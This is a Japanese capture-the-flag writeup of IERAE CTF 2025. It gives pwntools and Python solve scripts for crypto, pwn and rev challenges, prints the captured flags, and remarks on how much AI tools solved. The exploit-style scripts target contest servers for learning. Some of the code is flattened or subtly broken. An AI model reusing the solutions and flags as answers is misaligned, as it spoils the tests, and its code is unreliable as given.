IERAE CTF 2025 Writeup
IERAE CTF 2025
日本時間の6/21 15:00 - 6/22 15:00 の24時間で開催されました。
ライブと被っていたのでフルでは出られず、一人で出ようかと思いましたが、BunkyoWesternsで出ました。
最終的なスコアは1728で23位、23区って感じ。
メンバーの多数が海外の決勝に行ったり学生チームで出ていたので、st98さんと二人+Claude+o4-miniでした。
私は
- sanity: Welcome
- misc: DiNo.1
- crypto: Baby MSD
- pwn: Length Calculator
- rev: rev rev rev
- web: Warmdown
- pwn: Stdio Studio
- crypto: trunc
をsubmitしました。
というのも解いたのは俺よりほぼエーアイなので。
[misc 96] DiNo.1
chromeのあの恐竜のゲームっぽいのが🐻と🤞になっている。
DevtoolでDebugger使ってスコアを書き換えました。
IERAE{In_f4ct,th3_4uth0r's_h1gh_sc0r3_1s_4b0ut_5000}
[crypto 133] Baby MSD
#!/usr/bin/env python3
from pwn import remote
HOST = '35.200.10.230'
PORT = 12343
r = remote(HOST, PORT)
M = str(2 * 10**30)
for stage in range(1, 101):
for _ in range(2000):
r.recvuntil(b'Enter mod:')
r.sendline(bytes(M))
r.recvuntil(b'Which number')
r.sendline(b'1')
print(r.recvline(), end='')
print(r.recvall().decode())
とりあえずcodexにExploitっぽいものを作らせ、ちょっと高速化しただけです。
IERAE{bab00_gu0ooo_g00_47879e28a162}
[pwn 106] Length Calculator
signal handlerでwinが設定されているので、0にすれば通ります。最初普通にwinどうやって呼ぼうか迷った。
IERAE{Th3_5h0rt35t_3v3r_07a972c0}
[rev 102] rev rev rev
#!/usr/bin/env python3
import ast
def main():
# read transformed data
with open('output.txt', 'r') as f:
data = f.read()
z = ast.literal_eval(data)
# invert transformations: bitwise NOT, XOR, then reverse order
y = [~i for i in z]
x = [i ^ 0xff for i in y]
x.reverse()
# reconstruct flag string
flag = ''.join(chr(i) for i in x)
# output and write to flag.txt
print(flag)
with open('flag.txt', 'w') as f:
f.write(flag)
if __name__ == '__main__':
main()
適当にcodexに投げたらast
使ってきてびっくりした。わざわざそんな事せんでも。
IERAE{9a058884-2e29-61ab-3272-3eb4a9175a94}
[web 138] warmdown
これは自力でガチャガチャしました。まぁWarmupって感じ。 実は社内で研修用に作った奴にちょっと似てる。

IERAE{I_know_XSS_is_the_m0st_popular_vu1nerabili7y}
[pwn 182] Stdio Studio
#!/usr/bin/env python3
from pwn import *
context.log_level = 'critical'
context.binary = './chal'
io = remote('35.187.219.36', 33335)
io.recvuntil(b"Enter command: ")
io.sendline(b"1")
io.recvuntil(b"Enter command: ")
io.sendline(b"2")
io.recvuntil(b"Size: ")
io.sendline(b"80")
io.recvuntil(b"Input: ")
io.shutdown('send')
print(io.recvline().decode().strip())
-O3
でmemset
が消える奴。この前のSECCONのAlpacaで出たのもそうだけど、Pwnにおいてソースコードの配布が前提になってきたので、ソースコードで逆に意地悪する奴が増えていくと思うよ。
俺もやりたいもん。
IERAE{I/O_15_4n_3s53nt1a1_p1ec3_0f_pwn_f2e8ad23}
[crypto 203] trunc
Skip Skip Skip 1が全然刺さらないので、とりあえずSolveが多めの残っている問題をエーアイに丸投げしてる最中に解けた奴。
#!/usr/bin/env python3
import re
import sys
def solve_lin_mod2(row_masks, rhs_bits, n):
m = len(row_masks)
rowlist = row_masks.copy()
ylist = rhs_bits.copy()
pivot = [-1] * n
r = 0
for col in range(n):
sel = -1
for i in range(r, m):
if (rowlist[i] >> col) & 1:
sel = i
break
if sel == -1:
continue
if sel != r:
rowlist[r], rowlist[sel] = rowlist[sel], rowlist[r]
ylist[r], ylist[sel] = ylist[sel], ylist[r]
pivot[col] = r
for i in range(m):
if i != r and ((rowlist[i] >> col) & 1):
rowlist[i] ^= rowlist[r]
ylist[i] ^= ylist[r]
r += 1
if r >= m:
break
x = [0] * n
for col in range(n):
pi = pivot[col]
if pi != -1:
x[col] = ylist[pi]
return x
def main():
data = open('output.txt', 'r').read()
nums = list(map(int, re.findall(r"\d+", data)))
it = iter(nums)
try:
q = next(it)
n = next(it)
m_rows = next(it)
c = next(it)
except StopIteration:
print("Failed to parse header", file=sys.stderr)
sys.exit(1)
# parse A matrix and b vector
A256 = []
for i in range(m_rows):
row = []
for j in range(n):
a = next(it)
row.append(a >> 8)
A256.append(row)
b_all = [next(it) for _ in range(m_rows)]
# choose rows with known error=0: b mod256 > 143
I0 = [i for i in range(m_rows) if (b_all[i] & 0xFF) > 143]
if len(I0) < n:
print(f"Not enough clean rows: {len(I0)} < {n}", file=sys.stderr)
sys.exit(1)
# build eqn matrices
B256 = [b >> 8 for b in b_all]
row_masks = [0] * len(I0)
rhs0 = [0] * len(I0)
for idx, i in enumerate(I0):
mask = 0
for j in range(n):
if A256[i][j] & 1:
mask |= 1 << j
row_masks[idx] = mask
rhs0[idx] = B256[i] & 1
# solve s mod 2
s_mod = solve_lin_mod2(row_masks, rhs0, n)
# Hensel lift to mod 2^12
# current s_mod entries represent s mod2
for k in range(1, 12):
modk = 1 << (k + 1)
# compute RHS for correction bit
rhsk = []
for idx, i in enumerate(I0):
# compute A_i * s_mod mod 2^(k+1)
total = 0
for j in range(n):
total += A256[i][j] * s_mod[j]
total %= modk
# desired bit: (B256[i] - total) // 2^k mod2
diff = (B256[i] - total) % modk
rhsk.append((diff >> k) & 1)
# solve correction x mod2
xk = solve_lin_mod2(row_masks, rhsk, n)
# update s_mod
for j in range(n):
if xk[j]:
s_mod[j] |= 1 << k
# decrypt ciphertext bits
# remaining nums in it are ciphertext: for each bit, n u's then c
cipher_nums = list(it)
block = n + 1
if len(cipher_nums) % block != 0:
print("Ciphertext parse error", file=sys.stderr)
num_bits = len(cipher_nums) // block
flag_bits = []
for bi in range(num_bits):
start = bi * block
u_block = cipher_nums[start:start + n]
c_val = cipher_nums[start + n]
# compute u256 dot s_mod mod 4096
dot = 0
for j, uj in enumerate(u_block):
dot += (uj >> 8) * s_mod[j]
dot &= (1 << 12) - 1
u_s = dot << 8
d = (c_val - u_s) % q
bit = 1 if d > q // 2 else 0
flag_bits.append(bit)
# pack bits to bytes
flag = bytearray()
for i in range(len(flag_bits) // 8):
b = 0
for j in range(8):
b |= (flag_bits[8 * i + j] & 1) << j
flag.append(b)
try:
print(flag.decode())
except UnicodeDecodeError:
sys.stdout.buffer.write(flag)
if __name__ == '__main__':
main()
IERAE{b4ndw1d7h_54v1ng_c1ph3r}
感想
永久Stage、最高でした。会場が暑すぎて終わりかと思ったけど、号泣。
あ、CTFはもうエーアイでMediumまで解ける時代っぽいです。
Cryptoも強いんだな。Webはもうちょっと戦えると思ってたけどそうでもないっぽい。Pwn/Revも解ける事がわかったのは学びです。
Comments